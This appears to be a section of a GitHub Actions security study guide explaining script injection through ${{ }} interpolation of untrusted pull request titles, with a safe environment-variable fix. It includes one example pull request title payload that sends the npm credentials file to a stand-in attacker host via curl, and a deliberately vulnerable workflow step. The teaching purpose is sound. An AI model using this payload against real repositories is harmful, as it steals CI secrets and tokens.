6.1.2. Script Injection and Untrusted Input
💡 First Principle: ${{ }} substitution happens before the shell runs (2.2.6), so attacker-controlled text placed inside a run: block doesn't arrive as data — it arrives as source code, and the shell will happily execute it.
The canonical vulnerable step:
# ❌ VULNERABLE
- run: echo "Reviewing PR: ${{ github.event.pull_request.title }}"
A pull request titled a"; curl -d "$(cat $HOME/.npmrc)" evil.example; echo " becomes literal shell text at substitution time. The workflow then runs the attacker's command with whatever token and secrets that job holds. The same applies to issue titles and bodies, comment bodies, branch and tag names, review bodies, and author names — anything a stranger can set.
The fix is to move untrusted values through an environment variable, so the shell receives them as data and quoting does its job:
# ✅ SAFE
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Reviewing PR: $PR_TITLE"
Layer the other defenses around it. Prefer passing untrusted values as action inputs rather than into shell. Apply least-privilege permissions: so a successful injection reaches as little as possible. And treat pull_request_target with extreme care (2.1): it runs with the base repository's secrets and a write token, so combining it with actions/checkout of the PR's head ref — then building or testing that code — hands the attacker execution with full credentials. If you need fork PR code and secrets, split the work: an untrusted build on pull_request producing an artifact, and a separate privileged workflow_run job that never executes fork code.
Static analysis helps: actionlint (2.2.7) and CodeQL's Actions queries both flag untrusted interpolation into run: blocks, which is why "shift left" is a real answer here and not a platitude.
⚠️ Exam Trap: Quoting the expression does not fix injection. run: echo "${{ github.event.issue.title }}" is still vulnerable, because substitution happens before the shell parses quotes — the attacker's payload can simply close the quote. Only the environment-variable indirection is safe.
Reflection Question: Explain, in terms of ordering, why "${{ … }}" is unsafe while "$VAR" with VAR set from the same expression is safe. Which component parses the quotes in each case?